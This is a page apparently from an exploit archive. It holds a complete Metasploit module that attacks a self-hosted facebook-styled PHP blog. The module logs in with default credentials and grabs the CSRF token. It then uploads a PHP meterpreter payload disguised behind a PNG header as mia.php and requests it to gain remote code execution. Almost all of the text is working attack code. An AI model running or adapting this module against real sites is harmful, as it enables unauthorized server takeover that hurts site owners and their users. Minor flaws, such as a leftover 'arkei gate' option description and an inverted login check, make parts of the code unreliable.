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Lightweight Facebook-Styled Blog Remote Code Execution

Lightweight Facebook-Styled Blog Remote Code Execution
Posted Jun 25, 2021
Authored by Maide Ilkay Aydogdu

This Metasploit module exploits the file upload vulnerability of Lightweight self-hosted facebook-styled PHP blog and allows remote code execution.

tags | exploit, remote, php, code execution, file upload
MD5 | 574d24d96494d02754d265cd9346aa85

Lightweight Facebook-Styled Blog Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Lightweight facebook-styled blog authenticated remote code execution",
'Description' => %q{
This module exploits the file upload vulnerability of Lightweight self-hosted facebook-styled PHP blog and allows remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Maide Ilkay Aydogdu <ilkay@prodaft.com>' # author & msf module
],
'References' =>
[
['URL', 'https://prodaft.com']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['php'],
'Arch' => [ ARCH_PHP],
'Targets' =>
[
['PHP payload',
{
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
OptString.new('USERNAME', [true, 'Blog username', 'demo']),
OptString.new('PASSWORD', [true, 'Blog password', 'demo']),
OptString.new('TARGETURI', [true, 'The URI of the arkei gate', '/']),
]
)
end



def login

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
)


cookie = res.get_cookies
token = res.body.split('":"')[1].split('"')[0]
# token = res.to_s.scan(/"[abcdef0-9]{10}"}/)[0].to_s.tr('"}', '')
print_status("Got CSRF token: #{token}")
print_status('Logging into the blog...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'headers' => {
'Csrf-Token' => token,
},
'cookie' => cookie,
'data' => "action=login&nick=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}",
)

if res && res.code == 200
print_good("Successfully logged in with #{datastore['USERNAME']}")
json = res.get_json_document
if json.empty? && json['error']
print_error('Login failed!')
return nil, nil
end
else
print_error("Login failed! Status code #{res.code}")
return nil, nil
end

return cookie, token
end


def exploit
cookie, token = login
unless cookie || token
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
end


data = Rex::MIME::Message.new # jWPU1tZmoAZgooopowaNGjRq0KhBowaNGjRqEHYAALgBALdg7lyPAAAAAElFTkSuQmCC
png = Base64.decode64('iVBORw0KGgoAAAANSUhEUgAAABgAAAAbCAIAAADpgdgBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQ4') # only the PNG header
data.add_part(png+payload.encoded, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"mia.php\"")
print_status('Uploading shell...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'ajax.php'),
'cookie' => cookie,
'vars_get' => {
'action' => 'upload_image'
},
'headers' => {
'Csrf-Token' => token,
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
)

# print_status(res.to_s)
if res && res.code == 200
json = res.get_json_document
if json.empty? || !json['path']
fail_with(Failure::UnexpectedReply, 'Unexpected json response')
end

print_good("Shell uploaded as #{json['path']}")
else
print_error("Server responded with code #{res.code}")
print_error("Failed to upload shell")
return false
end

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, json['path'])}, 3
)

print_good("Payload successfully triggered !")
end
end
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